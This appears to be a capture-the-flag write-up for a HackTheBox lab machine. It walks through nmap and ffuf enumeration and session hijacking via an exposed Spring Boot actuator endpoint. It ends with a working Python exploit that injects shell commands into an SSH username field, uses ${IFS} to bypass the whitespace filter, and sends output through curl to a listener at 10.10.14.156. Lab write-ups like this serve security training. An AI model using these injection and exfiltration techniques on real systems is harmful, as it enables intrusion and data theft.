CozyHosting

Enumeration

Nmap

sudo nmap -p22,80 -A -oA nmap 10.10.11.230
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 13:43 EDT
Nmap scan report for 10.10.11.230
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   36.24 ms 10.10.14.1
2   36.62 ms 10.10.11.230

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds

Wapalyzer

Wapalyzer detect it is Java application it could be SpringBoot framework as it is most popular one in Java

FFUF Directory bruteforcing

 ffuf -u http://cozyhosting.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/spring-boot.txt -recursion -recursion-depth 3

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/spring-boot.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 54ms]
    * FUZZ: actuator

[Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 96ms]
    * FUZZ: actuator/env/home

[Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 61ms]
    * FUZZ: actuator/env/path

[Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 66ms]
    * FUZZ: actuator/env/lang

[Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 117ms]
    * FUZZ: actuator/env

[Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 65ms]
    * FUZZ: actuator/mappings

[Status: 200, Size: 398, Words: 1, Lines: 1, Duration: 48ms]
    * FUZZ: actuator/sessions

[Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 77ms]
    * FUZZ: actuator/health

[Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 65ms]
    * FUZZ: actuator/beans

:: Progress: [112/112] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

This found some intereting endpoints.

Actuator endpoints are debuging information for example sessions endpoints allows retrieval and deletion of user sessions from a Spring Session-backed session store. Requires a servlet-based web application that uses Spring Session.

Docs:

https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.htmldocs.spring.io

Auth bypass

Stolen session allows accessing /admin endpoint

Request:

GET /admin HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Cookie: =A51BB440D8F95FB64E56DE075783F95C
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Exploitation

Admin dashboard allows SSH connection to previously configured hosts.

By adding ; username it throws error implying that is executed by bash directly.

Some output can be extracted by using $(command) syntax.

When trying to execute more complex command application throws error that Username can't contain whitespaces

But this can be bypassed by using ${IFS} shell variable as this stand for separator so command $(ls${IFS}/) results in valid command.

Exploit

import concurrent.futures
from threading import Thread
import requests
import cmd
from http.server import BaseHTTPRequestHandler, HTTPServer, ThreadingHTTPServer
import socketserver
import base64

IP='0.0.0.0'
PORT=8000
URL='http://cozyhosting.htb/executessh'
PROXY = {
        'http':'http://127.0.0.1:8080'
        }
COOKIES={'JSESSIONID':'B4CB94691CEF79C8F83C1C5505C0B230'}

def hatfuServer():
    webServer =  HTTPServer((IP, PORT), CatchServer)
    #webServer.serve_forever()
    def handle_request(webServer):
        with webServer:
            webServer.serve_forever()
    thread = Thread(target=handle_request, args=(webServer,))
    thread.daemon=True
    thread.start()
    return webServer


class CatchServer(BaseHTTPRequestHandler):
    def log_request(self, code):
        pass

    def do_GET(self):
        self.send_response(200, "A Chuj Ci w Dupe")
        self.send_header('Connection', 'Close')
        self.end_headers()
        #data = base64.b64decode(self.path.split('=')[1])
        data = self.path.split('=')[1]
        data = data + '=' * (len(data) % 4)
        data = base64.b64decode(data).decode().strip()

        print(data, flush=True)

    def do_POST(self):
        self.send_response(200, "A Chuj Ci w Dupe")
        self.send_header('Connection', 'Close')
        self.end_headers()
        data = self.path.split('=')[1]
        print(data, flush=True)

class Exploit(cmd.Cmd):
    prompt='> '

    def default(self, line):
        payload=line.replace(' ','${IFS}')
        r = requests.post(URL, data={'host': '127.0.0.1', 'username':';$(curl${IFS}http://10.10.14.156:8000/a?data='+f'$({payload}|base64));'}, proxies=PROXY, cookies=COOKIES)


try:
    webServer = hatfuServer()
    Exploit().cmdloop()
except KeyboardInterrupt:
    webServer.server_close()
    print('naura')